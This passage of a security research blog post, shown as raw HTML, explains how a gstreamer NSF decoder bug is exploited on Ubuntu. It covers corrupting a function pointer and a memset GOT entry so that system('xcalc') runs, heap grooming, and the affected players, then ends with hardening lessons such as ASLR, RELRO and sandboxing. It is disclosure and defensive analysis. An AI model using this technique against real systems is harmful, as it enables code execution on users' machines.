<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">typedef struct apu_s</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> rectangle_t rectangle[2];</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> triangle_t triangle;</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> noise_t noise;</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> dmc_t dmc;</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> uint8 enable_reg;</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> apudata_t queue[APUQUEUE_SIZE];</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ...</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">By writing at 0x70f0, we write to offset 0xf0 into this object, which is the the </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">queue</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buffer field. We write the string “xcalc” here.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">11: Read from the address 0x4000</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">… and a calculator appears! Black magic? No, the previous steps set things up carefully to cause this to happen. Here’s the sequence:</span></div>
<ol style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">6502 reads from 0x4000.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is a special memory address that is supposed to call the </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">apu_read()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> function pointer to handle the access.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Instead, </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">apu_reset()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is called because we corrupted the function pointer earlier.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">apu_reset()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> contains the code line: </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memset (&apu->queue, 0, APUQUEUE_SIZE * sizeof (apudata_t));</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">But, we corrupted the </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memset()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> GOT entry to point to </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, and we wrote the string “xcalc” to </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">apu->queue</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Ergo, </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system(“xcalc”)</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is executed, and the calculator appears.</span></div>
</li>
</ol>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Additional exploitation notes</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This exploit works equally well when run in the following binaries:</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">totem</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">rhythmbox (works so well that </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">two</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> calcs are popped ;-)</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gst-launch-0.10</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">nautilus (may launch a subprocess -- totem-video-thumbnailer?)</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is despite differing heap layouts. The code to scan the heap for the metadata object of interest, as opposed to relying on a fixed offset, is what provides most of the reliability. The astute reader will note that the heap scan runs only </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">forwards</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and only for about 32kB. So what if heap jitter results in the all important metadata object getting allocated </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">before</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> the ROM data? This is a definite possibility but does not appear to be a big bother in this instance. The NSF decoder runs in a fresh new thread, which in turn generally gets a new heap arena, resulting in decent determinism in heap layout. The metadata object is allocated temporally after the ROM data, so it will typically get placed after. That said, if the ROM data is made bigger, it can (deterministically, due to heap holes of deterministic size) end up after the metadata object.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Our closing note on heap layout is that, if we needed them, we do have opportunities for heap grooming. Aside from the attacker controlled ROM size, there’s also some variable length header strings (song title etc.) that get heap allocated. Finally, we note that the gstreamer code for format detection is very non-trivial and may offer further opportunities to control heap state.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">What lessons can be learned?</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">While investigating this exploit, a number of hardening ideas came up. Also, a comparison of Ubuntu vs. Fedora -- even when extended to the latest releases -- reveals that Ubuntu is slipping behind Fedora for some exploit mitigations. In no particular order:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The attack surface of the Linux desktop does not appear to be under control, or adequately monitored for regression. In the case of Ubuntu, adding MP3 support also appears to add support for a huge number of obscure and largely unnecessary audio and video decoders. These contribute little to the desktop experience but greatly to the security risk. The relevant gstreamer extra plug-in packages even identify the additional decoders as “bad” or “ugly” in the </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">package name</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. An effort to further split the decoders into “useful” ones vs. “obscure / risky” ones is recommended.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Initial signs show that the security quality of the gstreamer code is behind the ffmpeg code. One of the reasons for this is likely to be j00ru’s / Google’s significant effort put into improving ffmpeg security: </span><a href="https://security.googleblog.com/2014/01/ffmpeg-and-thousand-fixes.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">FFmpeg and a thousand fixes</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Still, an important question for discussion is whether gstreamer’s decoders should be replaced with an ffmpeg based backend.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Ubuntu is not nearly as thorough as Fedora in using ASLR on binaries. Comparing Ubuntu 16.04 vs. Fedora 24, we see that Fedora has ASLR on the binaries for totem, rhythmbox and gst-launch-1.0. Ubuntu only has ASLR on totem.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Fedora appears to make good use of RELRO whereas Ubuntu does not. RELRO prevents messing with the function pointers in the GOT.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The level of sandboxing is disappointing across both Ubuntu and Fedora. Parsing media files in C has always been a hot spot for security and one mitigation is sandboxing. I don’t see much across Fedora or Ubuntu to use SELinux or AppArmor to meaningfully sandbox totem, rhythmbox, the thumbnailing processes, etc. by default. There does appear to be interest, but the urgency does not seem to be high. One useful source: </span><a href="https://wiki.ubuntu.com/SecurityTeam/Roadmap#AppArmor_Confinement" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">AppArmor Confinement</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. There’s also this Ubuntu bug to sandbox all the thumbnailers, open since 2011: </span><a href="https://bugs.launchpad.net/ubuntu/+source/totem/+bug/715874" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">gnome thumbnailers should have an apparmor profile</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Changes in the Linux glibc heap management code have increased certain aspects of heap layout determinism, particularly for threaded programs. This is a topic for further exploration in a different blog post.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">6502 really </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">is</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> fun.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Closing notes</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">There’s a critical reason that decent, reliable exploitation was possible with this bug: the presence of some form of “scripting” language. In this case, that script happens to be 6502 opcodes. Having an exploit running in script enables important exploitation aspects, such as making decisions based on exploitation environment, and in particular, using code to observe the effects of a corruption (such as a memory leak) and make sensible follow-up decisions.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">One of the reasons that browsers and browser plug-ins (Flash, Java) are popular exploitation targets is precisely because they are fundamentally scripting environments.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Another great example of this phenomena is Windows font parsing and rendering. This has traditionally occurred in the kernel(!!) and rending modern fonts involves…. yes, running a little language to make rendering decisions. Well, many times, attackers have used that same language to cause Windows kernel corruptions and proceed to full ring 0 compromise by using a script-inside-font to make decisions about reliably proceeding with the exploit.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<span id="docs-internal-guid-74196a23-63c8-af19-125b-63d3b875c1cc"></span><br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">So watch out for scripting in unexpected places!</span></div>
Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com18